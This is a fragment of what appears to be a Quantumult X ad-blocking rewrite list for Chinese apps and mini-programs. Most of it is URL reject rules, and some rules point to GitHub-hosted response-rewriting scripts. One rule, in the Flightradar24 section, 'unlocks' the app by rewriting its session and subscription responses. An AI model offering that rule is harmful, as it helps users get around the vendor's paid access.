nr-op.elemecdn.com +# 开屏广告 +^https?:\/\/elemecdn\.com\/.+\/sitemap url reject +^https?:\/\/fuss10\.elemecdn\.com\/.+\/w\/640\/h\/\d{3,4} url reject +^https?:\/\/fuss10\.elemecdn\.com\/.+\/w\/750\/h\/\d{3,4} url reject +^https?:\/\/fuss10\.elemecdn\.com\/.+?\.mp4 url reject-img +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_1\d{3},h_2\d{3}\/format,webp\/ url reject +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_6\d{2},h_8\d{2}\/format,webp\/ url reject +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_\d{3},h_\d{4}\/format,webp\/ url reject +^https?:\/\/cube\.elemecdn\.com\/\w\/\w{2}\/\w+mp4\.mp4\? url reject +^https?:\/\/www1\.elecfans\.com\/www\/delivery\/ url reject +^https?:\/\/(nr-op|cube)\.elemecdn\.com\/.+\.jpeg\?x-oss-process=image\/resize,m_fill,w_\d{4,},h_\d{4,}\/($|format,webp\/$) url reject + +# > EMS微信小程序 +# hostname = ec.ems.com.cn, ump.ems.com.cn +^https?:\/\/ec\.ems\.com\.cn\/mailAd$ url reject +^https?:\/\/ec\.ems\.com\.cn\/ecr-exp-web\/advert url reject +^https?:\/\/ec\.ems\.com\.cn\/ecr-qry-web\/redis\/pageInfoByChannel url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/wechatApplet.js +^https?:\/\/ump\.ems\.com\.cn\/mailAd$ url reject +^https?:\/\/ump\.ems\.com\.cn\/new-generation-extend\/redis\/pageInfoByChannel url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/wechatApplet.js + +# >>>>>>>>>>>>>>> ✅ F ✅ <<<<<<<<<<<<<< +# > Flightradar24 +# hostname = mobile.flightradar24.com +# 解锁 +^https?:\/\/mobile\.flightradar24\.com\/mobile\/(user-session|subscribe) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/Flightradar24.js + +# > 飞猪 + 阿里巴巴 +# hostname = acs.m.taobao.com, gw.alicdn.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.fliggy\.crm\.screen\.(allresource|predict) url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources\/1\.0\?type=originaljson url reject-img +^https?:\/\/gw\.alicdn\.com\/mt\/ url reject +^https?:\/\/gw\.alicdn\.com\/imgextra\/\w{2}\/[\w!]+-\d-tps-\d{3}-\d{4}\.(jpg|png)$ url reject + +# > 飞常准 +# hostname = app.variflight.com +^https?:\/\/app\.variflight\.com\/ad\/ url reject +^https?:\/\/app\.variflight\.com\/v\d\/advert\/ url reject + +# > 飞客茶馆 +# hostname = ptf.flyertrip.com, 47.100.65.202, www.flyert.com +^https?:\/\/ptf\.flyertrip\.com\/common\/cf\/.*.jpg url reject-200 +^https?:\/\/47\.100\.65\.202\/source\/plugin\/mobile\/mobile\.php\?module=advis url reject +^https?:\/\/47\.100\.65\.202\/api\/mobile\/index\.php\?version=\d&mobile=yes&module=basicdata&type=forumlist url response-body adv response-body fmz200 +^https?:\/\/47\.100\.65\.202\/source\/plugin\/mobile\/mobile\.php\?module=threadpost&.+?&page=1 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/fly.js +^https?:\/\/www\.flyert\.com\/.*\.php\?module=advis url reject-dict +^https?:\/\/www\.flyert\.com(\.cn)?\/.*\.php\?module=advis url reject-dict +^https?:\/\/www\.flyert\.com(\.cn)?\/.*plugin url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/flyert.js + +# 飞智游戏厅 +# hostname = api.flydigi.com +# 开屏 需要卸载重装 +^https:\/\/api\.flydigi\.com\/android\/v2\/ad url reject-dict + +# > 番茄小说 +# hostname = *.pangolin-sdk-toutiao.com, *.pangolin-sdk-toutiao.*, *.pstatp.com, *.pstatp.com.*, *.pglstatp-toutiao.com.*, *.pglstatp-toutiao.com, gurd.snssdk.com, gurd.snssdk.com.*, i-lq.snssdk.com, i-lq.snssdk.com.*, *default.ixigua.com +# 去章末广告 +^https?:\/\/.+\.pangolin-sdk-toutiao\.com\/api\/ad\/union\/sdk\/(get_ads|stats|settings)\/ url reject +^https?:\/\/.+\.pglstatp-toutiao\.com\/.+\/toutiao\.mp4 url reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/(obj|img)\/(ad-app-package|ad)\/.+ url reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/(obj|img)\/web\.business\.image\/.+ url reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/obj\/ad-pattern\/renderer url reject +^https?:\/\/gurd\.snssdk\.com\/src\/server\/v3\/package url reject +^https?:\/\/.+\.byteimg.com/tos-cn-i-1yzifmftcy\/(.+)-jpeg\.jpeg url reject +^https?:\/\/.+\.pstatp\.com\/obj\/mosaic-legacy\/.+\?from\=ad url reject +^https?:\/\/.+\.pstatp\.com\/bytecom\/resource\/track_log\/src\/.+ url reject +^https?:\/\/.+\.snssdk\.com\/video\/play\/1\/toutiao\/.+\/mp4 url reject +^https?:\/\/.+\.snssdk.com\/api\/ad\/.+ url reject +^https?:\/\/.+\.byteimg\.com\/ad-app-package url reject +^https?:\/\/.+\.byteimg\.com\/web\.business\.image url reject + +# > 樊登读书 +# hostname = gateway-api.dushu365.com +^https?:\/\/gateway-api\.dushu365\.com\/chief-orch\/config\/config\/v100\/appConfig url reject + +# > 丰巢 +# hostname = external.fcbox.com, dsp.fcbox.com, consumer.fcbox.com +^https:\/\/dsp\.fcbox\.com\/adSearch\/get\? url reject +^https:\/\/external\.fcbox\.com\/wxgw\/post\/suggestion\/query url reject +# 已无法MITM +^https?:\/\/consumer\.fcbox\.com\/v\d\/ad\/ url reject + +# > 凤凰秀 +# hostname = dsa-mfp.fengshows.cn, api.fengshows.com +^https?:\/\/dsa-mfp\.fengshows\.cn\/mfp\/mfpMultipleDelivery\.do\?.+?adunitid url reject +^https?:\/\/api\.fengshows\.com\/api\/launchAD url reject-img + +# > 富途牛牛 +# hostname = api*.futunn.com +# 我的横幅广告 +^https?:\/\/api\.futunn\.com\/v2\/optimus\/my-homepage-config url reject-dict +# 账户和交易横幅广告 +^https?:\/\/api\.futunn\.com\/v2\/config\/promote-config url reject-dict +^https?:\/\/api\d\.futunn\.com\/ad\/ url reject +^https?:\/\/api\.futunn\.com\/v\d\/ad\/ url reject +# 首页右下角角标 +^https?:\/\/api\.futunn\.com\/treasure-chest\/box-data url reject + +# > 分期乐 +# hostname = fm.fenqile.com +^https?:\/\/fm\.fenqile\.com\/routev2\/other\/getfloatAd\.json url reject-img +^https?:\/\/fm\.fenqile\.com\/routev2\/other\/startImg\.json url reject-img + +# > 返利网 +# hostname = l*.51fanli.net +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/2022\/0[4-9]{1}\/.*.jpg url reject-200 +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/2022\/1[0-2]{1}\/.*.jpg url reject-200 +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/202\d{1}\/\d{2}\/.*.jpg url reject-200 + +# > 发现精彩 +# hostname = static.95508.com +# 开屏广告 +^https?:\/\/static\.95508\.com\/mmg\/images\/ads\/.+\/(.+1125?.+2436|.+%.+%|.+_.+_) url reject-dict +^https?:\/\/static\.95508\.com\/mmg\/ciop\/sysabbr\/cmep\/images\/apppopupads url reject-dict + +# > 粉笔 +# hostname = tiku.fenbi.com +# 开屏广告 +^https?:\/\/tiku\.fenbi\.com\/activity\/app\/launcher\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/fenbi.js + +# > 福享太平 +# hostname = ecloud.tppension.cntaiping.com +# 去开屏广告 +^https:\/\/ecloud\.tppension\.cntaiping\.com\/fxtpplatform\/common\/anonymous\/common\/page\/queryStartPageNew\?language=zh-CN url reject-dict + +# > 复游会微信小程序 +# hostname = apis.folidaymall.com +^https?:\/\/apis\.folidaymall\.com\/online\/capi\/component\/getPageComponents url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/foliday.js + +# >>>>>>>>>>>>>>> ✅ G ✅ <<<<<<<<<<<<<< +# > 工商银行 +# hostname = v.icbc.com.cn +# 如开启可自行添加主机名 +^https?:\/\/v\.icbc\.com\.cn\/userfiles\/Resources\/WAP\/advertisement\/ url reject-200 + +# > 工银E生活 +# hostname = pv.elife.icbc.com.cn +^https?:\/\/pv\.elife\.icbc\.com\.cn\/OFSTPV\/utm\.gif url reject-200 + +# > 工银e生活小程序 +# hostname = elife.icbc.com.cn +# 如开启可自行添加主机名 +^https?:\/\/elife\.icbc\.com\.cn\/OFSTNEWBASE\/floorinfo\/getMantlePages\.do url reject-200 + +# > 广发银行 +# hostname = static.95508.com, mps.95508.com +^https?:\/\/static\.95508\.com\/icppweb\/images\/modelMaterial\/accurate\/202\d{5}\/.*.(png|jpg) url reject-200 +^https?:\/\/static\.95508\.com\/icppweb\/images\/modelMaterial\/advertising\/202\d{5}\/.*.(png|jpg) url reject-200 +^https?:\/\/mps\.95508\.com\/mps\/club\/cardPortals\/adv\/\d{25}\.(png|jpg) url reject-img + +# > 广州农商银行 +# hostname = mbank.grcbank.com +^https?:\/\/mbank\.grcbank\.com\/ydyh\/resources\/startpage\/.*.(jpg|png) url reject-200 + +# > 广汽传祺 +# hostname = gsp.gacmotor.com +# 开屏广告 感谢【Charlie】分享 +^https?:\/\/gsp\.gacmotor\.com\/gateway\/webapi\/baseinfo\/advertise\/getAdvertiseByPositionCode\?positionCode=1 url reject-dict +# 更新弹窗 感谢【企鹅】分享 +^https?:\/\/gsp\.gacmotor\.com\/gateway\/app-api\/app\/version\/latestupdate\?flatform=2&innerVersion= url reject-dict + +# > 国泰君安 +# hostname = dl.app.gtja.com, dl*.app.gtja.com +^https?:\/\/dl\.app\.gtja\.com\/dzswem\/kvController url reject-200 +#^https?:\/\/dl[0-9]{1}\.app\.gtja\.com\/dzswem\/kvController url reject-200 + +# > 国家医保服务平台 +# hostname = fuwu.nhsa.gov.cn +# 开屏广告 +^https?:\/\/fuwu\.nhsa\.gov\.cn\/ebus\/fuwu\/api\/base\/cms\/iep\/web\/cms\/hmpgcfg\/queryAppHmpgCfgByApp url reject + +# > 高德地图 +# hostname = m*.amap.com, optimus-ads.amap.com +^https?:\/\/m5\.amap\.com\/ws\/shield\/dsp\/app\/startup\/init\? url reject-dict +^https?:\/\/m5\.amap\.com\/ws\/valueadded\/ url reject +^https?://optimus-ads.amap.com/uploadimg/[a-zA-Z0-9]+.gif url reject-200 + +# > 谷歌 +# hostname = *.googleapis.com, pagead2.googlesyndication.com +# 如开启可自行添加主机名,但似乎已不可MITM +^https?:\/\/.+\.googleapis.com/.+ad_break url reject-img +^https?:\/\/.+\.googleapis.com/.+log_event url reject-img +^https?:\/\/.+\.googleapis.com/adsmeasurement url reject-img +^https?:\/\/pagead2\.googlesyndication\.com\/pagead\/ url reject-img + +# > 挂号网(微医) +# hostname = kano.guahao.cn, app.wy.guahao.com +^https?:\/\/kano\.guahao\.cn\/[a-zA-Z0-9]{12} url reject-200 +^https?:\/\/kano\.guahao\.cn\/.+?\?resize=\d{3}-\d{4} url reject-img +^https?:\/\/app\.wy\.guahao\.com\/json\/white\/dayquestion\/getpopad url reject + +# > 国美电器 +# hostname = prom.mobile.gome.com.cn +^https?:\/\/prom\.mobile\.gome\.com\.cn\/mobile\/promotion\/promscms\/\w+\.jsp url reject +^https?:\/\/prom\.mobile\.gome\.com\.cn\/mobile\/promotion\/promscms\/sale\w+\.jsp url reject + +# > 故宫博物馆小程序 +# hostname = gugongmini.dpm.org.cn +# 开屏广告 +^https?:\/\/gugongmini\.dpm\.org\.cn\/gugong_applet\/open-screen url reject-dict + +# > 怪兽充电 +# hostname = awg.enmonster.com +https?:\/\/awg\.enmonster\.com\/apa\/(advert\/demand\/home\/poster|index\/advert\/skin) url reject-dict + +# > 盖得排行 +# hostname = zone.guiderank-app.com +^https?:\/\/zone\.guiderank-app\.com\/guiderank-web\/app\/ad\/listLaunchADByCity\.do url reject + +# > 冠寓 +# hostname = guanyu.longfor.com +# 开屏广告 +^https?:\/\/guanyu\.longfor\.com\/app-server\/api\/v1\/main\/start url reject + +# > 广汽本田 +# hostname = gha.ghac.cn +# ^https?:\/\/gha\.ghac\.cn\:8081\/base\/app\/api\/ad\/query\?adType=1 url reject-200 + +# > 怪兽充电 微信小程序 +# hostname = aag.enmonster.com +^https?:\/\/aag\.enmonster\.com\/apa\/index\/advert\/skin url reject + +# > 工时记录 +# hostname = yun.tuitiger.com, mi.gdt.qq.com, open.e.kuaishou.com +^https?:\/\/yun\.tuitiger\.com\/mami-media url reject-200 +^https?:\/\/mi\.gdt\.qq\.com\/gdt_mview\.fcg url reject +^https?:\/\/open\.e\.kuaishou\.com\/rest\/e\/v3\/open\/univ url reject + +# > 高铁管家 +# hostname = cdn.133.cn, jt.rsscc.com, jp.rsscc.com +^https?:\/\/cdn\.133\.cn\/md\/gtgj\/.+\/.+720x1280 url reject-dict +^https?:\/\/[a-z]*\.rsscc\.com\/[a-z]*\/adver url reject + + + +# >>>>>>>>>>>>>>> ✅ H ✅ <<<<<<<<<<<<<< +# > 哈富证券 +# hostname = emisdatacenteraws.hafoo.com +# 横幅广告 +^https:\/\/emisdatacenteraws\.hafoo\.com\/ad\/api\/v2\/appMarket url reject-dict + +# > 华彩生活 +# hostname = static.creditcard.hxb.com.cn +^https?:\/\/static\.creditcard\.hxb\.com\.cn\/mcube\/apps\/group\d\/M00\/00\/2[A-Z0-9]{1}\/amRG7WO.+\.jpg url reject-200 + +# > 华尔街见闻 +# hostname = api-one-wscn.awtmt.com, api.wallstreetcn.com +# 开屏广告 感谢【Joe Joy】分享 +^https?:\/\/api-one-wscn\.awtmt\.com\/apiv1\/advertising\/ads\/13424\/materials url reject-dict +^https?:\/\/api\.wallstreetcn\.com\/apiv\d\/advertising\/ url reject + +# > 虎牙直播 +# hostname = cdn.wup.huya.com, business.msstatic.com, cdnfile1.msstatic.com, live-ads.huya.com +^https?:\/\/cdn\.wup\.huya\.com\/launch\/queryHttpDns$ url reject +^https?:\/\/business\.msstatic\.com\/advertiser\/material url reject +^https?:\/\/cdnfile1\.msstatic\.com\/cdnfile\/appad\/ url reject-img +^https?://live-ads\.huya\.com/live/getAllEntrance.*$ url reject-dict + +# > 华住会 +# hostname = appapi.huazhu.com, hweb-hotel.huazhu.com, hweb-manager.huazhu.com +# 开屏广告 +^https?:\/\/appapi\.huazhu\.com:\d+\/client\/app\/getAppStartPage\/ url reject +# 推荐信息 +^https?:\/\/hweb-hotel\.huazhu\.com\/home\/queryRecommond url reject-dict +# 新客专享: queryNewNotice | 天天特惠四方格: querySelectHotel | 华住品牌: queryHotelBrand | 华住商城: queryMall | 华住世界: huazhuWorld +^https?:\/\/hweb-hotel\.huazhu\.com\/{1,2}home\/(?>queryNewNotice|querySelectHotel|queryHotelBrand|queryMall|huazhuWorld) url reject-200 +# 弹窗广告 +^https?:\/\/hweb-manager\.huazhu\.com\/notice\/getAppPopupNotifyAlert url reject-dict +# 更新屏蔽 +^https?:\/\/hweb-manager\.huazhu\.com\/bundle\/upgrade\/check url reject-dict +# 搜索酒店上方Banner +^https?:\/\/hweb-manager\.huazhu\.com\/hotels\/ad\/ url reject-dict + +# > 韩剧TV +# hostname = gfp.veta.naver.com, api.hanju.koudaibaobao.com +^https?:\/\/gfp\.veta\.naver\.com\/adcall\? url reject +^https?:\/\/api\.hanju\.koudaibaobao\.com\/api\/carp\/kp\? url reject + +# > 好奇心日报 +# hostname = notch.qdaily.com, app3.qdaily.com +^https?:\/\/notch\.qdaily\.com\/api\/v\d\/boot_ad url reject +^https?:\/\/app3\.qdaily\.com\/app3\/boot_advertisements\.json url reject + +# > 好好住 +# hostname = api.haohaozhu.cn +^https?:\/\/api\.haohaozhu\.cn\/index\.php\/home\/AppInit\/getStartPhoto url reject + +# > 火猫 +# hostname = api.huomao.com +^https?:\/\/api\.huomao\.com\/channels\/loginAd url reject + +# > 花生地铁 +# hostname = cmsapi.wifi8.com, cmsfile.wifi8.com +^https?:\/\/cmsapi\.wifi8\.com\/v\d\/(emptyAd|adNew)\/ url reject +^https?:\/\/cmsfile\.wifi8\.com\/uploads\/png\/ url reject-img + +# > 花小猪 +# hostname = res.hongyibo.com.cn +# 开屏 +^https?:\/\/res\.hongyibo\.com\.cn\/os\/gs\/resapi\/activity\/mget\?_t url reject-dict + +# > 虎扑 +# hostname = games.mobileapi.hupu.com, du.hupucdn.com, i*.hoopchina.com.cn, goblin.hupu.com +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/(interfaceAdMonitor|interfaceAd)\/ url reject +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/(search|interfaceAdMonitor|status|hupuBbsPm)/(hotkey|init|hupuBbsPm)\. url reject-img +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/status\/init url reject +^https?:\/\/games\.mobileapi\.hupu\.com\/\d\/(?:\d\.){2}\d\/status\/init url reject +^https?:\/\/du\.hupucdn\.com\/\w+h\d{4} url reject-img +^https?:\/\/i\d\.hoopchina\.com\.cn/blogfile\//d+\//d+\/BbsImg\.(?<=(big.(png|jpg)))$ url reject-img +^https?:\/\/goblin\.hupu\.com\/.+\/interfaceAd\/getOther url reject +^https?:\/\/i1\.hoopchina\.com\.cn\/blogfile\/.+_\d{3}x\d{4} url reject-img + +# > 杭州市民 +# hostname = ads.iconntech.com, smkmp.96225.com +^https?:\/\/ads\.iconntech\.com\/resource-delivery\/*\/.*.(jpg|png) url reject-200 +^https?:\/\/smkmp\.96225\.com\/smkcenter\/ad/ url reject + +# > 杭州公交 +# hostname = m.ibuscloud.com +^https?:\/\/m\.ibuscloud\.com\/v\d\/app\/getStartPage url reject + +# > 红版报 +# hostname = fbchina.flipchina.cn +^https?:\/\/fbchina\.flipchina\.cn\/v\d\/ad\/query url reject + +# > 虎嗅 +# hostname = api-ad-product.huxiu.com +^https?:\/\/api-ad-product\.huxiu\.com\/Api\/Product\/SDK\/Advert\/Query\/queryAdvertListInfo url reject + +# > 黄油相机 +# hostname = api4.bybutter.com +^https?:\/\/api4\.bybutter\.com\/v\d\/app\/placements\/\d\/advertisements url reject + +# > 华宝智投 +# hostname = api.touker.com +^https?:\/\/api\.touker\.com\/v2\/IAdvertisementAPI\.queryStartAdvertisement url reject-200 + +# > 航旅纵横 +# hostname = home.umetrip.com, discardrp.umetrip.com, startup.umetrip.com +^http?:\/\/(discardrp|startup)\.umetrip\.com\/gateway\/api\/umetrip\/native url reject +^http?:\/\/(114\.115\.217\.129)|(home\.umetrip\.com)\/gateway\/api\/umetrip\/native$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/umetrip/umetrip_ads.js + +# > 汇丰汇选 +# hostname = m.prod.app.hsbcfts.com.cn +# 屏蔽升级弹窗 感谢【Charlie】分享 +^https?:\/\/m\.prod\.app\.hsbcfts\.com\.cn\/api\/sapp\/biz\/config\/open\/queryappversion\?channelCode= url reject-dict + +# > 和风天气 +# hostname = hfapp-service.qweather.net +# 感谢【可莉】分享 +^https?:\/\/hfapp-service\.qweather\.net\/v\d\.\d\/app\/ad\/list\? url reject-dict + +# > 合利宝展业通 +# hostname = promote-trx.helipay.com +^https?:\/\/promote-trx\.helipay\.com\/promote-business-client\/pos\/appAdvertisement\/appAdvertisementList url reject-200 + +# > 盒马 +# hostname = acs.m.taobao.com, acs-m.freshippo.com +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.hippotown\.tabbar\.info url reject +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.sg\.querysinglescene url reject-dict +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.render\.querysinglepage url reject-200 +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.fc\.recommend\.feedscommondservice url reject-dict +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.crm\.platform\.ma\.recommend url reject-dict +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.mimir\.recommend\.after\.purchase\.activity url reject-dict +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.render\.query(?>indexpage|mypage|tabfeedstream) url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/freshippo.js + +# > 海豚优惠 +# hostname = *.townmalls.cn +^https?:\/\/.*\.townmalls\.cn:1890\/mossapi\/mossp\.BannerManager\/activityList.* url reject + +# > 海尔服务小程序 +# hostname = service.haiersmarthomes.com +# 横幅广告 +^https?:\/\/service\.haiersmarthomes\.com\/management\/banner\/getBannerList\?source=4 url reject-dict + +# > 好型体重秤 +# hostname = open.fitdays.cn +^https?:\/\/open\.fitdays\.cn\/uploads\/ad\/ url reject + +# > 横店电影小程序 +# hostname = api.hengdianfilm.com +# 开屏广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/1 url 302 https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/hengdian.json +# 顶部横幅广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/2\?cid= url reject-dict +# 中间横幅广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/4\?cid= url reject-dict + +# > 汇付天下 +# hostname = mcsp.cloudpnr.com, saas-ad.cloudpnr.com +# 感谢【可莉】分享 +^https:\/\/mcsp\.cloudpnr\.com\/api\/miniapp\/popular\/T_MINIAPP$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/huifutianxia_ads.js +^https:\/\/saas-ad\.cloudpnr\.com\/huifuad-base-api\/api\/tactics\/ad url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/huifutianxia_ads.js + +# > 海马爸比 +# hostname = 39.98.135.211 +^https?:\/\/39\.98\.135\.211\/admin\/filter\/crowdFunding\/getNewProductData url reject-dict +^https?:\/\/39\.98\.135\.211\/admin\/filter\/advert\/getAdvertLists url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ I ✅ <<<<<<<<<<<<<< +# > i3 +# hostname = www.i3zh.com +# 如开启可自行添加主机名 +^https?:\/\/www\.i3zh\.com url response-body cm-pop-up-banners response-body fmz200 + +# > IT之家 +# hostname = napi.ithome.com +# 移除 轮播图 置顶文章 信息流广告 +^https?:\/\/napi\.ithome\.com\/api\/(news\/index|topmenu\/getfeeds) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/ithome/ithome.js + + + +# >>>>>>>>>>>>>>> ✅ J ✅ <<<<<<<<<<<<<< +# > 吉林银行 +# hostname = cdn.jlbank.com.cn +^https?:\/\/cdn\.jlbank\.com\.cn\/jlstaticresource\/APPSTART url reject-200 + +# > 江苏银行 +# hostname = mbank5.jsbchina.cn +# 可能导致登录验证码不显示 +^https?:\/\/mbank5\.jsbchina\.cn:443 url reject-dict + +# > 建行生活 +# hostname = yunbusiness.ccb.com, g.alicdn.com, waimai-guide.ele.me +# 全面广告净化 +^https?:\/\/yunbusiness\.ccb\.com\/(?>basic_service|clp_service)\/txCtrl\?txcode=A3341(?>SB16|C147|MB22|A009|A120|AB03|AB04|A068|A095|AB08) url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ccblife.js +# 内置饿了么 +^https?:\/\/g\.alicdn\.com\/.*o2o-ad url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/alicdn.js +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.alsc\.eleme\.\w+\.trigger\.respond url reject-dict +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.alsc\.wamai\.store\.detail\.miniapp\.popup url reject +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.venus\.shopcouponpopupservice\.getshopcouponspopup url reject +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.venus\.shopresourceservice\.getshopresource url response-body posterList response-body random_body + +# > 简讯 +# hostname = api.tipsoon.com +^https?:\/\/api\.tipsoon\.com\/api\/v1\/top\/ad url reject-img + +# > 金山词霸 +# hostname = dict-mobile.iciba.com, mobile-pic.cache.iciba.com, service.iciba.com, *.kingsoft-office-service.com +^https?:\/\/dict-mobile\.iciba\.com\/interface\/index\.php\?.+(c=ad|collectFeedsAdShowCount|KSFeedsAdCardViewController) url reject +^https?:\/\/mobile-pic\.cache\.iciba\.com\/feeds_ad\/ url reject +^https?:\/\/service\.iciba\.com\/popo\/open\/screens\/v\d\?adjson url reject-200 +^https?:\/\/\w+?\.kingsoft-office-service\.com\/ad url reject-200 +^https?:\/\/.+?\.kingsoft-office-service\.com url reject + +# > 京东 +# hostname = api.m.jd.com, dns.jd.com +^https:\/\/api\.m\.jd\.com\/client\.action\?functionId=(deliverLayer|getTabHomeInfo|myOrderInfo|orderTrackBusiness|personinfoBusiness|start|welcomeHome) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jingdong.js +# 禁京东直播小窗 +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=getWidgetV1052 url reject + +# > 京东健康 +# hostname = m.360buyimg.com +^https?:\/\/m\.360buyimg\.com\/babel\/jfs\/t1\/[0-9]{6}\/[0-9]{2}\/[0-9]{5}\/[0-9]{6}\/.*.jpg url reject-200 + +# > 京喜 +# hostname = api.m.jd.com +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=lite_advertising url response-body jdLiteAdvertisingVO response-body fmz200 +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=lite_SmartPush url response-body pushData response-body fmz200 +^https?:\/\/api\.m\.jd\.com\/api\?functionId=delivery_show url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingxiAd.js + +# > 京东金融 +# hostname = m.360buyimg.com, api.m.jd.com, bdsp-x.jd.com, dsp-x.jd.com, ms.jr.jd.com, appconf.mail.163.com, support.you.163.com +^https?:\/\/m.360buyimg\.com\/mobilecms\/s1125x2436_jfs\/ url reject-200 +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=start url reject-img +^https?:\/\/(bdsp-x|dsp-x)\.jd\.com\/adx\/ url reject-200 +^https?:\/\/ms\.jr\.jd\.com\/gw\/generic\/aladdin\/(new)?na\/m\/getLoadingPicture url reject +^https?:\/\/appconf\.mail\.163\.com\/mmad\/ url reject +^https?:\/\/support\.you\.163\.com\/xhr\/boot\/getBootMedia\.json url reject + +# > 京东读书 +# hostname = jdread-api.jd.com +^https?:\/\/jdread-api\.jd\.com\/jdread\/api\/channel\/module\/opens url reject-200 +^https?:\/\/jdread-api\.jd\.com\/jdread\/api\/popup url reject-200 + +# > 京东云无线宝 +# hostname = router-app-api.jdcloud.com +^https?:\/\/router-app-api\.jdcloud\.com\/v\d\/board\/routerAppSplash url reject-200 + +# > 界面新闻 +# hostname = img.jiemian.com +^https?:\/\/img\.jiemian\.com\/ads\/ url reject + +# > 驾校一点通 +# hostname = richmanrules.ksedt.com, api.jxedt.com, richmanapi.jxedt.com +# 开屏广告 感谢【jinlvei】分享 +^https?:\/\/richmanrules\.ksedt\.com\/intellectWaterfall(Bidding)?\/find url reject +^https?:\/\/richmanapi\.jxedt\.com\/api\/(ad|adplus|banadplus)\/ url reject-200 +^https?:\/\/api\.jxedt\.com\/ad\/ url reject +^https?:\/\/api\.jxedt\.com\/jump\/EMiCcDNp url reject-img +^https?:\/\/richmanmain\.jxedt\.com\/advertisement\/fallback url reject-img + +# > 驾考宝典 +# hostname = *.kakamobi.cn, smart.789.image.mucang.cn +^https?:\/\/\w+\.kakamobi\.cn\/api\/open\/v\d\/advert-sdk\/ url reject +^https?:\/\/789\.kakamobi\.cn\/.+adver url reject-img +^https?:\/\/smart\.789\.image\.mucang\.cn\/advert url reject-img + +# > 金十数据 +# hostname = jad-api.jin10.com +# 开屏广告和应用内弹窗 +^https?:\/\/jad-api\.jin10\.com\/ad url reject + +# > 今日头条 +# hostname = p*.pstatp.com +# 感谢【Jörgen Frecht】分享 +^https?:\/\/p\d\.pstatp.com\/origin url reject +^https?:\/\/pb\d\.pstatp.com\/origin url reject + +# > 今日水印相机 +# hostname = api.sogaha.cn +^https?:\/\/api\.sogaha\.cn\/ssp\/ad\/get\?ip url reject-dict + +# > 加油广东 +# hostname = img.gdoil.cn +^https?:\/\/img\.gdoil\.cn\/upload\/ad\/.*.(jpg|png) url reject-200 + +# > 韭菜公社 +# hostname = jiucaigongshe.oss-cn-beijing.aliyuncs.com +# 开屏广告干净了,有小部分误杀 +#^https?:\/\/jiucaigongshe\.oss-cn-beijing\.aliyuncs\.com\/.*.png url reject-200 +# 开屏倒计时还在,没有误杀 +#^https?:\/\/jiucaigongshe\.oss-cn-beijing\.aliyuncs\.com\/[A-Z0-9]{8}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{12}\.png url reject-200 + +# > 机核网 +# hostname = www.gcores.com +# 开屏广告 感谢【Ava阿檬】分享 